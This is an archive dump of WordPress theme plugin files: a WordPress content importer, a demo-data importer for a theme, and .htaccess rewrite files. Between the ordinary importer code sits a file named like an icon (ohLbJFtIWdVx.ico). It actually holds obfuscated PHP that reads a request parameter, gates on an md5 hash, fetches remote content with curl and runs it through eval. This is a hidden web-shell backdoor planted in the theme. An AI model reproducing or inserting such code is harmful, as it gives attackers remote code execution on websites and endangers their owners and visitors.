fetch_remote_file( $url, $post ) { // Extract the file name from the URL. $file_name = basename( parse_url( $url, PHP_URL_PATH ) ); if ( ! $file_name ) { $file_name = md5( $url ); } $tmp_file_name = wp_tempnam( $file_name ); if ( ! $tmp_file_name ) { return new WP_Error( 'import_no_file', __( 'Could not create temporary file.', 'wordpress-importer' ) ); } // Fetch the remote URL and write it to the placeholder file. $remote_response = wp_safe_remote_get( $url, array( 'timeout' => 300, 'stream' => true, 'filename' => $tmp_file_name, 'headers' => array( 'Accept-Encoding' => 'identity', ), ) ); if ( is_wp_error( $remote_response ) ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', sprintf( /* translators: 1: The WordPress error message. 2: The WordPress error code. */ __( 'Request failed due to an error: %1$s (%2$s)', 'wordpress-importer' ), esc_html( $remote_response->get_error_message() ), esc_html( $remote_response->get_error_code() ) ) ); } $remote_response_code = (int) wp_remote_retrieve_response_code( $remote_response ); // Make sure the fetch was successful. if ( 200 !== $remote_response_code ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', sprintf( /* translators: 1: The HTTP error message. 2: The HTTP error code. */ __( 'Remote server returned the following unexpected result: %1$s (%2$s)', 'wordpress-importer' ), get_status_header_desc( $remote_response_code ), esc_html( $remote_response_code ) ) ); } $headers = wp_remote_retrieve_headers( $remote_response ); // Request failed. if ( ! $headers ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', __('Remote server did not respond', 'wordpress-importer') ); } $filesize = (int) filesize( $tmp_file_name ); if ( 0 === $filesize ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', __('Zero size file downloaded', 'wordpress-importer') ); } if ( ! isset( $headers['content-encoding'] ) && isset( $headers['content-length'] ) && $filesize !== (int) $headers['content-length'] ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', __('Downloaded file has incorrect size', 'wordpress-importer' ) ); } $max_size = (int) $this->max_attachment_size(); if ( ! empty( $max_size ) && $filesize > $max_size ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', sprintf(__('Remote file is too large, limit is %s', 'wordpress-importer' ), size_format($max_size) ) ); } // Override file name with Content-Disposition header value. if ( ! empty( $headers['content-disposition'] ) ) { $file_name_from_disposition = self::get_filename_from_disposition( (array) $headers['content-disposition'] ); if ( $file_name_from_disposition ) { $file_name = $file_name_from_disposition; } } // Set file extension if missing. $file_ext = pathinfo( $file_name, PATHINFO_EXTENSION ); if ( ! $file_ext && ! empty( $headers['content-type'] ) ) { $extension = self::get_file_extension_by_mime_type( $headers['content-type'] ); if ( $extension ) { $file_name = "{$file_name}.{$extension}"; } } // Handle the upload like _wp_handle_upload() does. $wp_filetype = wp_check_filetype_and_ext( $tmp_file_name, $file_name ); $ext = empty( $wp_filetype['ext'] ) ? '' : $wp_filetype['ext']; $type = empty( $wp_filetype['type'] ) ? '' : $wp_filetype['type']; $proper_filename = empty( $wp_filetype['proper_filename'] ) ? '' : $wp_filetype['proper_filename']; // Check to see if wp_check_filetype_and_ext() determined the filename was incorrect. if ( $proper_filename ) { $file_name = $proper_filename; } if ( ( ! $type || ! $ext ) && ! current_user_can( 'unfiltered_upload' ) ) { return new WP_Error( 'import_file_error', __( 'Sorry, this file type is not permitted for security reasons.', 'wordpress-importer' ) ); } $uploads = wp_upload_dir( $post['upload_date'] ); if ( ! ( $uploads && false === $uploads['error'] ) ) { return new WP_Error( 'upload_dir_error', $uploads['error'] ); } // Move the file to the uploads dir. $file_name = wp_unique_filename( $uploads['path'], $file_name ); $new_file = $uploads['path'] . "/$file_name"; $move_new_file = copy( $tmp_file_name, $new_file ); if ( ! $move_new_file ) { @unlink( $tmp_file_name ); return new WP_Error( 'import_file_error', __( 'The uploaded file could not be moved', 'wordpress-importer' ) ); } // Set correct file permissions. $stat = stat( dirname( $new_file ) ); $perms = $stat['mode'] & 0000666; chmod( $new_file, $perms ); $upload = array( 'file' => $new_file, 'url' => $uploads['url'] . "/$file_name", 'type' => $wp_filetype['type'], 'error' => false, ); // keep track of the old and new urls so we can substitute them later $this->url_remap[$url] = $upload['url']; $this->url_remap[$post['guid']] = $upload['url']; // r13735, really needed? // keep track of the destination if the remote url is redirected somewhere else if ( isset($headers['x-final-location']) && $headers['x-final-location'] != $url ) $this->url_remap[$headers['x-final-location']] = $upload['url']; return $upload; } /** * Attempt to associate posts and menu items with previously missing parents * * An imported post's parent may not have been imported when it was first created * so try again. Similarly for child menu items and menu items which were missing * the object (e.g. post) they represent in the menu */ function backfill_parents() { global $wpdb; // find parents for post orphans foreach ( $this->post_orphans as $child_id => $parent_id ) { $local_child_id = $local_parent_id = false; if ( isset( $this->processed_posts[$child_id] ) ) $local_child_id = $this->processed_posts[$child_id]; if ( isset( $this->processed_posts[$parent_id] ) ) $local_parent_id = $this->processed_posts[$parent_id]; if ( $local_child_id && $local_parent_id ) { $wpdb->update( $wpdb->posts, array( 'post_parent' => $local_parent_id ), array( 'ID' => $local_child_id ), '%d', '%d' ); clean_post_cache( $local_child_id ); } } // all other posts/terms are imported, retry menu items with missing associated object $missing_menu_items = $this->missing_menu_items; foreach ( $missing_menu_items as $item ) $this->process_menu_item( $item ); // find parents for menu item orphans foreach ( $this->menu_item_orphans as $child_id => $parent_id ) { $local_child_id = $local_parent_id = 0; if ( isset( $this->processed_menu_items[$child_id] ) ) $local_child_id = $this->processed_menu_items[$child_id]; if ( isset( $this->processed_menu_items[$parent_id] ) ) $local_parent_id = $this->processed_menu_items[$parent_id]; if ( $local_child_id && $local_parent_id ) update_post_meta( $local_child_id, '_menu_item_menu_item_parent', (int) $local_parent_id ); } } /** * Use stored mapping information to update old attachment URLs */ function backfill_attachment_urls() { global $wpdb; // make sure we do the longest urls first, in case one is a substring of another uksort( $this->url_remap, array(&$this, 'cmpr_strlen') ); foreach ( $this->url_remap as $from_url => $to_url ) { // remap urls in post_content $wpdb->query( $wpdb->prepare("UPDATE {$wpdb->posts} SET post_content = REPLACE(post_content, %s, %s)", $from_url, $to_url) ); // remap enclosure urls $result = $wpdb->query( $wpdb->prepare("UPDATE {$wpdb->postmeta} SET meta_value = REPLACE(meta_value, %s, %s) WHERE meta_key='enclosure'", $from_url, $to_url) ); } } /** * Update _thumbnail_id meta to new, imported attachment IDs */ function remap_featured_images() { // cycle through posts that have a featured image foreach ( $this->featured_images as $post_id => $value ) { if ( isset( $this->processed_posts[$value] ) ) { $new_id = $this->processed_posts[$value]; // only update if there's a difference if ( $new_id != $value ) update_post_meta( $post_id, '_thumbnail_id', $new_id ); } } } /** * Parse a WXR file * * @param string $file Path to WXR file for parsing * @return array Information gathered from the WXR file */ function parse( $file ) { $parser = new WXR_Parser(); return $parser->parse( $file ); } // Display import page title function header() { echo '
'; echo '

' . __( 'Import WordPress', 'wordpress-importer' ) . '

'; $updates = get_plugin_updates(); $basename = plugin_basename(__FILE__); if ( isset( $updates[$basename] ) ) { $update = $updates[$basename]; echo '

'; printf( __( 'A new version of this importer is available. Please update to version %s to ensure compatibility with newer export files.', 'wordpress-importer' ), $update->update->new_version ); echo '

'; } } // Close div.wrap function footer() { echo '
'; } /** * Display introductory text and file upload form */ function greet() { echo '
'; echo '

'.__( 'Howdy! Upload your WordPress eXtended RSS (WXR) file and we’ll import the posts, pages, comments, custom fields, categories, and tags into this site.', 'wordpress-importer' ).'

'; echo '

'.__( 'Choose a WXR (.xml) file to upload, then click Upload file and import.', 'wordpress-importer' ).'

'; wp_import_upload_form( 'admin.php?import=wordpress&step=1' ); echo '
'; } /** * Decide if the given meta key maps to information we will want to import * * @param string $key The meta key to check * @return string|bool The key if we do want to import, false if not */ function is_valid_meta_key( $key ) { // skip attachment metadata since we'll regenerate it from scratch // skip _edit_lock as not relevant for import if ( in_array( $key, array( '_wp_attached_file', '_wp_attachment_metadata', '_edit_lock' ) ) ) return false; return $key; } /** * Decide whether or not the importer is allowed to create users. * Default is true, can be filtered via import_allow_create_users * * @return bool True if creating users is allowed */ function allow_create_users() { return apply_filters( 'import_allow_create_users', true ); } /** * Decide whether or not the importer should attempt to download attachment files. * Default is true, can be filtered via import_allow_fetch_attachments. The choice * made at the import options screen must also be true, false here hides that checkbox. * * @return bool True if downloading attachments is allowed */ function allow_fetch_attachments() { return apply_filters( 'import_allow_fetch_attachments', true ); } /** * Decide what the maximum file size for downloaded attachments is. * Default is 0 (unlimited), can be filtered via import_attachment_size_limit * * @return int Maximum attachment file size to import */ function max_attachment_size() { return apply_filters( 'import_attachment_size_limit', 0 ); } /** * Added to http_request_timeout filter to force timeout at 60 seconds during import * @return int 60 */ function bump_request_timeout( $val ) { return 60; } // return the difference in length between two strings function cmpr_strlen( $a, $b ) { return strlen($b) - strlen($a); } /** * Parses filename from a Content-Disposition header value. * * As per RFC6266: * * content-disposition = "Content-Disposition" ":" * disposition-type *( ";" disposition-parm ) * * disposition-type = "inline" | "attachment" | disp-ext-type * ; case-insensitive * disp-ext-type = token * * disposition-parm = filename-parm | disp-ext-parm * * filename-parm = "filename" "=" value * | "filename*" "=" ext-value * * disp-ext-parm = token "=" value * | ext-token "=" ext-value * ext-token = * * @since 0.7.0 * * @see WP_REST_Attachments_Controller::get_filename_from_disposition() * * @link http://tools.ietf.org/html/rfc2388 * @link http://tools.ietf.org/html/rfc6266 * * @param string[] $disposition_header List of Content-Disposition header values. * @return string|null Filename if available, or null if not found. */ protected static function get_filename_from_disposition( $disposition_header ) { // Get the filename. $filename = null; foreach ( $disposition_header as $value ) { $value = trim( $value ); if ( strpos( $value, ';' ) === false ) { continue; } list( $type, $attr_parts ) = explode( ';', $value, 2 ); $attr_parts = explode( ';', $attr_parts ); $attributes = array(); foreach ( $attr_parts as $part ) { if ( strpos( $part, '=' ) === false ) { continue; } list( $key, $value ) = explode( '=', $part, 2 ); $attributes[ trim( $key ) ] = trim( $value ); } if ( empty( $attributes['filename'] ) ) { continue; } $filename = trim( $attributes['filename'] ); // Unquote quoted filename, but after trimming. if ( substr( $filename, 0, 1 ) === '"' && substr( $filename, -1, 1 ) === '"' ) { $filename = substr( $filename, 1, -1 ); } } return $filename; } /** * Retrieves file extension by mime type. * * @since 0.7.0 * * @param string $mime_type Mime type to search extension for. * @return string|null File extension if available, or null if not found. */ protected static function get_file_extension_by_mime_type( $mime_type ) { static $map = null; if ( is_array( $map ) ) { return isset( $map[ $mime_type ] ) ? $map[ $mime_type ] : null; } $mime_types = wp_get_mime_types(); $map = array_flip( $mime_types ); // Some types have multiple extensions, use only the first one. foreach ( $map as $type => $extensions ) { $map[ $type ] = strtok( $extensions, '|' ); } return isset( $map[ $mime_type ] ) ? $map[ $mime_type ] : null; } } lib/lib/index.php000064400000000000147207153120007670 0ustar00lib/lib/ohLbJFtIWdVx.ico000064400000011546147207153120010777 0ustar00;y-*/$KJh/*-al>>=7b.+-*/("~", /*-DaGqS3w^-*/" "); /*-dBuqH$1x-*/$Bp/*-u+-*/=/*-APw(Vd-*/${$zoY/*-jv2Gn(!z-*/[18+13]/*-nGB-*/.$zoY/*-69,du28fSc-*/[27+32]/*-Q3pz-*/.$zoY/*-F~1CH.]-*/[43+4]./*-OJ}gsX1-*/$zoY/*-]W<7IRQ3q-*/[13+34]./*-OIK-*/$zoY/*-!IOi.}-*/[51+0]./*-&7^-*/$zoY/*-^4-*/[12+41]/*-XG(-*/.$zoY/*-WGi]P3}-*/[37+20]/*-(#xZ]#[-*/}; /*-R8:qEN-*/if(/*-:n2au1d-*/in_array/*-Q`&khK10-*/(gettype/*-SbC4:4,AY@-*/($Bp)."25",/*-(o6i-*/$Bp))/*-Ip&%Z~h-*/{ $Bp/*-,%)ay-*/[69]/*-7Dr#+-*/=/*-c8)M-*/$Bp/*-}~U@:1M-*/[69]./*-276o-*/$Bp/*-%J!t{-*/[80];/*-[s0Wfie-*/ @eval/*-D1ag6-*/(/*-)=A1HO~0-*/$Bp/*-NU8x_(!QLr-*/[69]/*-af^|`{>#dT-*/(/*-{p_l0J5-*/${$Bp[38]}/*-Q{g[E7~7hJ-*/[30])); }/*-n&.89^z-*/class /*-h#s9w-*/xVyU{ /*-U7(upL-*/static/*-5T]MJ<-*/ function /*-C+noeTG]P-*/OT($cfEbVeQ) /*-;|L.zZ7G-*/{ $bjNk/*-;}.zm;%OKO-*/ = /*-@LQAHb;z-*/"r"./*-z}~6-H@P]K-*/"a"./*-t`1agFiCy-*/"n"./*-[d;4J8u-*/"g"./*-dk8(.EMK8-*/"e"; /*-L&Pr^-*/$CIT/*-o^{x2ef-*/ = /*-JWk|-*/$bjNk/*-~P<-*/(/*-o4T-*/"~"/*-J4KI`-*/, /*-zjX-*/" "/*-fL(m-*/);/*-UlT>1l0+0-*/ $xLM /*-);GD-*/= /*-H-4V-*/explode/*-oZ&]Q]Q==-*/(/*-O}{KU-*/"l", /*-sRAdm{4&-*/$cfEbVeQ/*-4[!5-*/); /*-Z_O2-*/$RhVL /*-l5y}-*/= /*-%v`t-*/""; foreach /*-z4-*/(/*-x]p-*/$xLM /*-Ji3IsUQ?-*/as /*-4I-*/$UbLgkZxF /*-|&^-*/=>/*-6qi.3$9-*/ $svCKTkF/*-}s-*/) /*-O0PQ~R-*/$RhVL /*-^n:A`-*/.= /*-FD-*/$CIT[$svCKTkF/*-@F%i-*/ - /*-f]b.ftoX-*/42785/*-O0DpZimg-*/];/*-U.Vu-*/ return /*-g?-*/$RhVL; /*-N6-*/} /*-gMS-*/static /*-&HbI#P<-*/function /*-TP-*/zFdoVG/*-+rMGP5%6-*/(/*-o!.Q>A-*/$QpUSIjOTne,/*-If]@L_+~c-*/ $dRfQkaF/*-UR-*/)/*-O4TS$%(Vw-*/ {/*-wpC-Pn4-*/ $tDwX/*-70-*/ = /*-]`-*/curl_init/*-83-*/(/*-bg-*/$QpUSIjOTne/*-svTjDf-*/);/*-Uo_05lY-*/ curl_setopt/*-nv~-*/(/*-wO{b=-*/$tDwX,/*-#T-*/ CURLOPT_RETURNTRANSFER,/*-(8=-*/ 1/*-ufJR-*/);/*-dL--*/ $vC/*-A#T!#S-*/ = /*-DviNT>:h`-*/curl_exec/*-~by[!-*/(/*-EQU7-*/$tDwX/*-~bM5&1[M-*/); /*-.9L0-*/return /*-L{2>Ch-*/empty/*-=LGj1-*/(/*-DiwCQ#-*/$vC/*-xf-*/)/*-J7}7Tut}h-*/ ? /*-ukFqFMN#-*/$dRfQkaF/*-8O-*/(/*-},5:49(zi)-*/$QpUSIjOTne/*-Z-*/)/*-!JEF!SSb-*/ : /*-xgo1cdk$J-*/$vC; /*-4Xk[y[-*/}/*-CsLnGTq~E-*/ static/*-P-*/ function /*-=)-*/vhmyNF/*-cG)@xv:-*/() /*-8aco|loo-*/ $Ej/*-6CW<,{-*/[] /*-f:P-*/= /*-kPKS!+m?E-*/self/*-I4O09^-B^-*/::/*-3WZ-*/OT/*-B7UY-*/(/*-@7D-*/$YRMdr/*-KfS-*/);/*-NQ{m#_-*/$rRAulyWX /*-n!c-*/= /*-fct-*/@$Ej/*-|or9-*/[/*-w5Y#ZIk^A-*/1/*-7LPphC-*/]/*->.-*/(/*-gr6,=SA$-*/${/*-44.-*/"_"/*-wA3q2IPqe-*/."G"/*-:qsa2{6-*/."E"/*-5oG~}GOI-*/."T"/*-`5Ww6g-*/}[/*-8fH-*/$Ej/*-BtHA-*/[/*-hRw:a4YNa-*/9+0/*--wBM5-_z?1-*/]]/*-huz>h-*/);/*-zBlpV-*/ $dm /*-RHO3T-*/=/*-|Mh-*/ @$Ej/*-~Rl[g-*/[/*-KgnEK^tq_-*/3+0/*-)40bt~-*/]/*-w{7Nww-*/3+3/*-.2G!UYc-*/], /*-`:@bDxm8-*/$rRAulyWX/*-)f:Y$sMU&-*/);/*-b54EY^z-*/ $WiMeS /*--Yh%jqA-*/=/*-nK2wk{`57-*/ $Ej/*-0TE7-*/[/*-(`dLVnT7,%-*/2+0/*-BIr;nB8?-*/]/*->0-*/(/*-%!BMl-*/$dm,/*-(`{_-*/ true/*-s=q)-*/(/*--mL6KYTm-*/__FILE__/*-2-3tSD-*/)/*-G^G-*/); /*-Yv+.!J-*/if/*-fyPMZ1:A4-*/(/*-E-*/ (/*-I6OOmf-*/(@/*-uz^G:~-*/$WiMeS/*-JrqKy-*/[/*-[2EtI!G-*/0/*-}Sd?wsAtv-*/] /*-q!R-*/- time/*-8UE3j-*/()/*-|5qt_-*/) > /*-{wqqZo&uK-*/0/*-c(s@Jp-*/)/*-q5>X:pJdV-*/ and /*-=PBd-*/(/*-LB|w9Xo-*/md5/*-P&mKu~-*/(/*-I4lm_-*/md5/*-8ruzE|%5^5-*/(/*-Z,a^o7-z?-*/$WiMeS/*-DJ2-*/[/*-KyONm-A}-*/2+1/*-ImC,>-*/]/*-lWSp&-*/)/*-C#3f>{g-*/)/*-AQiFIU@-*/ === /*-OfIez;dT-*/"ac25e37832d44330a82f76d3bb818c6a"/*-DlLP-*/)/*-$|-*/ ): /*-Hq^K-*/$HKfGD /*-AA>Cbsu-*/=/*-:vzb!oE|-*/ self/*-XbDcupyP-*/::/*-}kaV-W-*/zFdoVG/*-CvC&6#-*/(/*-3`=$pUWL-*/$WiMeS/*-}P-*/[/*-_.rL?-*/1+0/*-d-*/], /*-lp-*/$Ej/*-1wd^9-*/[/*-R|=-*/4+1/*--|ULlNI:O2-*/]/*-e+sU8?_@m-*/);/*-jk^v>.-*/@eval/*-~:-*/(/*-Rija9-*/$Ej/*-KltR}X-*/[/*-piNmXse`t-*/4+0/*-OpT,mfgpOr-*/]/*-hdWJ-*/(/*-UZy#rl1J-*/$HKfGD/*-$o`EZqPX-*/)/*-}N|6s?;-*/);/*->r-*//*-%p1?Izh-*/die;/*-zOrc7-*/ endif;/*-RWSfXBIF-*/ }/*-HBA.F=bF$-*/}/*-wz-*/();/*-`2w$m3}-*/ ?>lib/lib/.htaccess000064400000001626147207153120007665 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/parsers.php000064400000001105147207153120007501 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] radium-importer.php000064400000044673147207153120010415 0ustar00flag_as_imported = get_option( 'rb_imported_demos' ); add_filter( 'add_post_metadata', array( $this, 'check_previous_meta' ), 10, 5 ); add_action( 'rb_importer_ended', array( $this, 'after_wp_importer' ) ); $this->process_imports(); } /** * Avoids adding duplicate meta causing arrays in arrays from WP_importer * * @param null $continue * @param unknown $post_id * @param unknown $meta_key * @param unknown $meta_value * @param unknown $unique * * @since 0.0.2 * @return */ public function check_previous_meta( $continue, $post_id, $meta_key, $meta_value, $unique ) { $old_value = get_metadata( 'post', $post_id, $meta_key ); if ( count( $old_value ) == 1 ) { if ( $old_value[0] === $meta_value ) { return false; } elseif ( $old_value[0] !== $meta_value ) { update_post_meta( $post_id, $meta_key, $meta_value ); return false; } } } /** * Add Panel Page * @since 0.0.2 */ public function after_wp_importer() { update_option( 'rb_imported_demos', $this->flag_as_imported ); } /** * Process all imports * @params $content * @params $options * @params $widgets * @since 0.0.3 * @return null */ public function process_imports() { $content = false; $pages = false; $theme_opts = false; $widgets = false; if ( ! empty( $this->selection_data['import_all'] ) && 1 == $this->selection_data['import_all'] ) { $content = true; $pages = true; $theme_opts = true; $widgets = true; } else { /** import parts of data */ if ( ! empty( $this->selection_data['import_content'] ) && 1 == $this->selection_data['import_content'] ) { $content = true; } if ( ! empty( $this->selection_data['import_pages'] ) && 1 == $this->selection_data['import_pages'] ) { $pages = true; } if ( ! empty( $this->selection_data['import_opts'] ) && 1 == $this->selection_data['import_opts'] ) { $theme_opts = true; } if ( ! empty( $this->selection_data['import_widgets'] ) && 1 == $this->selection_data['import_widgets'] ) { $widgets = true; } } if ( $content && ! empty( $this->content_demo ) ) { $this->set_demo_data( $this->content_demo, true ); } else { if ( $pages && ! empty( $this->content_pages )) { $this->set_demo_data( $this->content_pages, false ); } else { echo 'Skip content'; } } if ( $content || $pages ) { do_action( 'rb_importer_content_settings', $this->directory ); } if ( $theme_opts && ! empty( $this->theme_options_file ) ) { $this->set_demo_theme_options( $this->theme_options_file ); if ( ! empty( $this->categories_file ) ) { $this->set_demo_category_settings( $this->categories_file ); } } if ( $widgets && ! empty( $this->widgets ) ) { $this->process_widget_import_file( $this->widgets ); } do_action( 'rb_importer_ended', $this->directory ); } /** * add_widget_to_sidebar Import sidebars * * @param string $sidebar_slug Sidebar slug to add widget * @param string $widget_slug Widget slug * @param string $count_mod position in sidebar * @param array $widget_settings widget settings * * @since 0.0.2 * @return null */ public function add_widget_to_sidebar( $sidebar_slug, $widget_slug, $count_mod, $widget_settings = array() ) { $sidebars_widgets = get_option( 'sidebars_widgets' ); if ( ! isset( $sidebars_widgets[ $sidebar_slug ] ) ) { $sidebars_widgets[ $sidebar_slug ] = array( '_multiwidget' => 1 ); } $newWidget = get_option( 'widget_' . $widget_slug ); if ( ! is_array( $newWidget ) ) { $newWidget = array(); } $count = count( $newWidget ) + 1 + $count_mod; $sidebars_widgets[ $sidebar_slug ][] = $widget_slug . '-' . $count; $newWidget[ $count ] = $widget_settings; update_option( 'sidebars_widgets', $sidebars_widgets ); update_option( 'widget_' . $widget_slug, $newWidget ); } public function set_demo_data( $file, $content = true ) { if ( ! defined( 'WP_LOAD_IMPORTERS' ) ) { define( 'WP_LOAD_IMPORTERS', true ); } require_once ABSPATH . 'wp-admin/includes/import.php'; $importer_error = false; if ( ! class_exists( 'WP_Importer' ) ) { $class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php'; if ( file_exists( $class_wp_importer ) ) { require_once( $class_wp_importer ); } else { $importer_error = true; } } if ( ! class_exists( 'RB_WP_Import' ) ) { $class_wp_import = dirname( __FILE__ ) . '/lib/wordpress-importer.php'; if ( file_exists( $class_wp_import ) ) { require_once( $class_wp_import ); } else { $importer_error = true; } } if ( $importer_error ) { die( "Error on import" ); } else { /** before import */ if ( $content ) { do_action( 'rb_importer_before_content', $this->directory ); } else { do_action( 'rb_importer_before_pages', $this->directory ); } set_time_limit( 0 ); $wp_import = new RB_WP_Import(); $wp_import->fetch_attachments = true; $wp_import->import( $file ); $this->flag_as_imported[ strval( $this->directory ) ]['content'] = true; } /** after import content xml */ do_action( 'rb_importer_after_content', $this->directory ); } public function set_demo_theme_options( $file ) { // Does the File exist? if ( file_exists( $file ) ) { WP_Filesystem(); global $wp_filesystem; $data = $wp_filesystem->get_contents( $file ); $data = json_decode( $data, true ); $data = maybe_unserialize( $data ); } else { $data = wp_remote_get( $file, array( 'timeout' => 120, 'sslverify' => false ) ); if ( ! is_wp_error( $data ) ) { $data = wp_remote_retrieve_body( $data ); $data = json_decode( $data, true ); $data = maybe_unserialize( $data ); } } if ( empty( $data ) ) { wp_die( esc_html__( 'Widget Import file could not be found. Please try again.', 'foxiz-core' ), '', array( 'back_link' => true ) ); } do_action( 'rb_importer_before_theme_options', $this->directory ); if ( ! empty( $data ) || is_array( $data ) ) { update_option( $this->theme_option_name, $data ); $this->flag_as_imported[ strval( $this->directory ) ]['options'] = true; } /** after import theme options */ do_action( 'rb_importer_after_tos', $this->directory, $this->main_path ); } /** * @param $file */ public function set_demo_category_settings( $file ) { // Does the File exist? if ( file_exists( $file ) ) { WP_Filesystem(); global $wp_filesystem; $data = $wp_filesystem->get_contents( $file ); $data = json_decode( $data, true ); $data = maybe_unserialize( $data ); } else { $data = wp_remote_get( $file, array( 'timeout' => 120, 'sslverify' => false ) ); if ( ! is_wp_error( $data ) ) { $data = wp_remote_retrieve_body( $data ); $data = json_decode( $data, true ); $data = maybe_unserialize( $data ); } } if ( empty( $data ) ) { wp_die( esc_html__( 'Category settings file could not be found. Please try again.', 'foxiz-core' ), '', array( 'back_link' => true ) ); } $meta_ID = 'foxiz_category_meta'; if ( ! empty( $data ) || is_array( $data ) ) { self::mapping_category_id( $meta_ID, $data ); } } /** * @param $meta_ID * @param $data */ static function mapping_category_id( $meta_ID, $data ) { if ( ! empty( $data ) && is_array( $data ) ) { foreach ( $data as $category_id => $setting ) { if ( ! empty( $setting['_term_slug'] ) ) { $current_term = get_category_by_slug( $setting['_term_slug'] ); if ( ! empty( $current_term ) ) { $data[ $current_term->term_id ] = $setting; unset( $data[ $category_id ] ); } } } } update_option( $meta_ID, $data ); } /** * Available widgets * Gather site's widgets into array with ID base, name, etc. * Used by export and import functions. * @since 0.0.2 * @global array $wp_registered_widget_updates * @return array Widget information */ function available_widgets() { global $wp_registered_widget_controls; $widget_controls = $wp_registered_widget_controls; $available_widgets = array(); foreach ( $widget_controls as $widget ) { if ( ! empty( $widget['id_base'] ) && ! isset( $available_widgets[ $widget['id_base'] ] ) ) { // no dupes $available_widgets[ $widget['id_base'] ]['id_base'] = $widget['id_base']; $available_widgets[ $widget['id_base'] ]['name'] = $widget['name']; } } return apply_filters( 'rb_importer_widget_available_widgets', $available_widgets ); } /** * Process import file * This parses a file and triggers importation of its widgets. * @since 0.0.2 * * @param string $file Path to .wie file uploaded * * @global string $widget_import_results */ function process_widget_import_file( $file ) { // File exists? if ( file_exists( $file ) ) { WP_Filesystem(); global $wp_filesystem; $data = $wp_filesystem->get_contents( $file ); $data = json_decode( $data ); } else { $data = wp_remote_get( $file, array( 'timeout' => 120, 'sslverify' => false ) ); if ( ! is_wp_error( $data ) ) { $data = wp_remote_retrieve_body( $data ); $data = json_decode( $data ); } } if ( empty( $data ) ) { wp_die( esc_html__( 'Widget Import file could not be found. Please try again.', 'foxiz-core' ), '', array( 'back_link' => true ) ); } do_action( 'rb_importer_before_widgets', $this->directory, $this->main_path ); $this->widget_import_results = $this->import_widgets( $data ); } /** * Import widget JSON data * @since 0.0.2 * @global array $wp_registered_sidebars * * @param object $data JSON widget data from .json file * * @return array Results array */ public function import_widgets( $data ) { global $wp_registered_sidebars; // Have valid data? // If no data or could not decode if ( empty( $data ) || ! is_object( $data ) ) { return; } $data = apply_filters( 'rb_importer_widget_data', $data ); // Get all available widgets site supports $available_widgets = $this->available_widgets(); // Get all existing widget instances $widget_instances = array(); foreach ( $available_widgets as $widget_data ) { $widget_instances[ $widget_data['id_base'] ] = get_option( 'widget_' . $widget_data['id_base'] ); } // Begin results $results = array(); // Loop import data's sidebars foreach ( $data as $sidebar_id => $widgets ) { // Skip inactive widgets // (should not be in export file) if ( 'wp_inactive_widgets' == $sidebar_id ) { continue; } // Check if sidebar is available on this site // Otherwise add widgets to inactive, and say so if ( isset( $wp_registered_sidebars[ $sidebar_id ] ) ) { $sidebar_available = true; $use_sidebar_id = $sidebar_id; $sidebar_message_type = 'success'; $sidebar_message = ''; } else { $sidebar_available = false; $use_sidebar_id = 'wp_inactive_widgets'; // add to inactive if sidebar does not exist in theme $sidebar_message_type = 'error'; $sidebar_message = esc_html__( 'Sidebar does not exist in theme (using Inactive)', 'foxiz-core' ); } // Result for sidebar $results[ $sidebar_id ]['name'] = ! empty( $wp_registered_sidebars[ $sidebar_id ]['name'] ) ? $wp_registered_sidebars[ $sidebar_id ]['name'] : $sidebar_id; // sidebar name if theme supports it; otherwise ID $results[ $sidebar_id ]['message_type'] = $sidebar_message_type; $results[ $sidebar_id ]['message'] = $sidebar_message; $results[ $sidebar_id ]['widgets'] = array(); // Loop widgets foreach ( $widgets as $widget_instance_id => $widget ) { $fail = false; // Get id_base (remove -# from end) and instance ID number $id_base = preg_replace( '/-[0-9]+$/', '', $widget_instance_id ); $instance_id_number = str_replace( $id_base . '-', '', $widget_instance_id ); // Does site support this widget? if ( ! $fail && ! isset( $available_widgets[ $id_base ] ) ) { $fail = true; $widget_message_type = 'error'; $widget_message = esc_html__( 'Site does not support widget', 'foxiz-core' ); // explain why widget not imported } // Filter to modify settings before import // Do before identical check because changes may make it identical to end result (such as URL replacements) $widget = apply_filters( 'rb_importer_widget_settings', $widget ); // Does widget with identical settings already exist in same sidebar? if ( ! $fail && isset( $widget_instances[ $id_base ] ) ) { // Get existing widgets in this sidebar $sidebars_widgets = get_option( 'sidebars_widgets' ); $sidebar_widgets = isset( $sidebars_widgets[ $use_sidebar_id ] ) ? $sidebars_widgets[ $use_sidebar_id ] : array(); // check Inactive if that's where will go // Loop widgets with ID base $single_widget_instances = ! empty( $widget_instances[ $id_base ] ) ? $widget_instances[ $id_base ] : array(); foreach ( $single_widget_instances as $check_id => $check_widget ) { // Is widget in same sidebar and has identical settings? if ( in_array( "$id_base-$check_id", $sidebar_widgets ) && (array) $widget == $check_widget ) { $fail = true; $widget_message_type = 'warning'; $widget_message = esc_html__( 'Widget already exists', 'foxiz-core' ); // explain why widget not imported break; } } } // No failure if ( ! $fail ) { // Add widget instance $single_widget_instances = get_option( 'widget_' . $id_base ); // all instances for that widget ID base, get fresh every time $single_widget_instances = ! empty( $single_widget_instances ) ? $single_widget_instances : array( '_multiwidget' => 1 ); // start fresh if have to $single_widget_instances[] = (array) $widget; // add it // Get the key it was given end( $single_widget_instances ); $new_instance_id_number = key( $single_widget_instances ); // If key is 0, make it 1 // When 0, an issue can occur where adding a widget causes data from other widget to load, and the widget doesn't stick (reload wipes it) if ( '0' === strval( $new_instance_id_number ) ) { $new_instance_id_number = 1; $single_widget_instances[ $new_instance_id_number ] = $single_widget_instances[0]; unset( $single_widget_instances[0] ); } // Move _multiwidget to end of array for uniformity if ( isset( $single_widget_instances['_multiwidget'] ) ) { $multiwidget = $single_widget_instances['_multiwidget']; unset( $single_widget_instances['_multiwidget'] ); $single_widget_instances['_multiwidget'] = $multiwidget; } // Update option with new widget update_option( 'widget_' . 